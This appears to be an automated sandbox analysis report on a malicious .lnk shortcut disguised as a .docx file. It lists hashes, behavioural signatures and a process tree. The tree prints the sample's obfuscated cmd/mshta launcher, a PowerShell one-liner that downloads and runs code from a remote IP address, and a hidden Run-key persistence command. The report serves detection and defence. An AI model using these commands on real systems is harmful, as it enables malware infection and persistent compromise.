Analysis
-
max time kernel
113s -
max time network
119s -
platform
windows7_x64 -
resource
win7 -
submitted
16/07/2020, 18:21
Static task
static1
Behavioral task
behavioral1
Sample
N-388-30.06.2020.docx.lnk
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
N-388-30.06.2020.docx.lnk
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
N-388-30.06.2020.docx.lnk
-
Size
60KB
-
MD5
7b5f028144aa35afdf9f4835fa5432b8
-
SHA1
8bf59baf6a003c279e95540bfb92149f6f0ba668
-
SHA256
35bc847e8a2ac7ccb75850cf69db5a47c245ed2a4dc5e98283dfd8f7f9df59e1
-
SHA512
2dd8bf9ab657252f86de10126f4533a3fd0053f8adb6abb2e62d30aebd9fb257d036442f3383bde2ff9fac410f2613a4caccb57fd0ff04dc8c22d164a4ed9ead
Score
8/10
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1060 wrote to memory of 612 1060 cmd.exe 25 PID 1060 wrote to memory of 612 1060 cmd.exe 25 PID 1060 wrote to memory of 612 1060 cmd.exe 25 PID 612 wrote to memory of 1312 612 cmd.exe 26 PID 612 wrote to memory of 1312 612 cmd.exe 26 PID 612 wrote to memory of 1312 612 cmd.exe 26 PID 1312 wrote to memory of 908 1312 mshta.exe 27 PID 1312 wrote to memory of 908 1312 mshta.exe 27 PID 1312 wrote to memory of 908 1312 mshta.exe 27 PID 1312 wrote to memory of 776 1312 mshta.exe 28 PID 1312 wrote to memory of 776 1312 mshta.exe 28 PID 1312 wrote to memory of 776 1312 mshta.exe 28 -
Deletes itself 1 IoCs
pid Process 1312 mshta.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 776 powershell.exe Token: SeIncreaseQuotaPrivilege 776 powershell.exe Token: SeSecurityPrivilege 776 powershell.exe Token: SeTakeOwnershipPrivilege 776 powershell.exe Token: SeLoadDriverPrivilege 776 powershell.exe Token: SeSystemProfilePrivilege 776 powershell.exe Token: SeSystemtimePrivilege 776 powershell.exe Token: SeProfSingleProcessPrivilege 776 powershell.exe Token: SeIncBasePriorityPrivilege 776 powershell.exe Token: SeCreatePagefilePrivilege 776 powershell.exe Token: SeBackupPrivilege 776 powershell.exe Token: SeRestorePrivilege 776 powershell.exe Token: SeShutdownPrivilege 776 powershell.exe Token: SeDebugPrivilege 776 powershell.exe Token: SeSystemEnvironmentPrivilege 776 powershell.exe Token: SeRemoteShutdownPrivilege 776 powershell.exe Token: SeUndockPrivilege 776 powershell.exe Token: SeManageVolumePrivilege 776 powershell.exe Token: 33 776 powershell.exe Token: 34 776 powershell.exe Token: 35 776 powershell.exe Token: SeIncreaseQuotaPrivilege 776 powershell.exe Token: SeSecurityPrivilege 776 powershell.exe Token: SeTakeOwnershipPrivilege 776 powershell.exe Token: SeLoadDriverPrivilege 776 powershell.exe Token: SeSystemProfilePrivilege 776 powershell.exe Token: SeSystemtimePrivilege 776 powershell.exe Token: SeProfSingleProcessPrivilege 776 powershell.exe Token: SeIncBasePriorityPrivilege 776 powershell.exe Token: SeCreatePagefilePrivilege 776 powershell.exe Token: SeBackupPrivilege 776 powershell.exe Token: SeRestorePrivilege 776 powershell.exe Token: SeShutdownPrivilege 776 powershell.exe Token: SeDebugPrivilege 776 powershell.exe Token: SeSystemEnvironmentPrivilege 776 powershell.exe Token: SeRemoteShutdownPrivilege 776 powershell.exe Token: SeUndockPrivilege 776 powershell.exe Token: SeManageVolumePrivilege 776 powershell.exe Token: 33 776 powershell.exe Token: 34 776 powershell.exe Token: 35 776 powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\ftzaxvjd = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\ftzaxvjd.ini'' | iex \"" powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 776 powershell.exe 776 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 908 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 908 WINWORD.EXE 908 WINWORD.EXE -
Blacklisted process makes network request 5 IoCs
flow pid Process 5 776 powershell.exe 7 776 powershell.exe 9 776 powershell.exe 11 776 powershell.exe 12 776 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=N-388-^30.06.^2020.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! "!temp!\Temp1_За^прос.z^ip\!a!")2⤵
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\system32\mshta.exemshta "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk "3⤵
- Suspicious use of WriteProcessMemory
- Deletes itself
- Modifies Internet Explorer settings
PID:1312 -
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx"4⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:908
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))4⤵
- Suspicious use of AdjustPrivilegeToken
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:776
-
-
-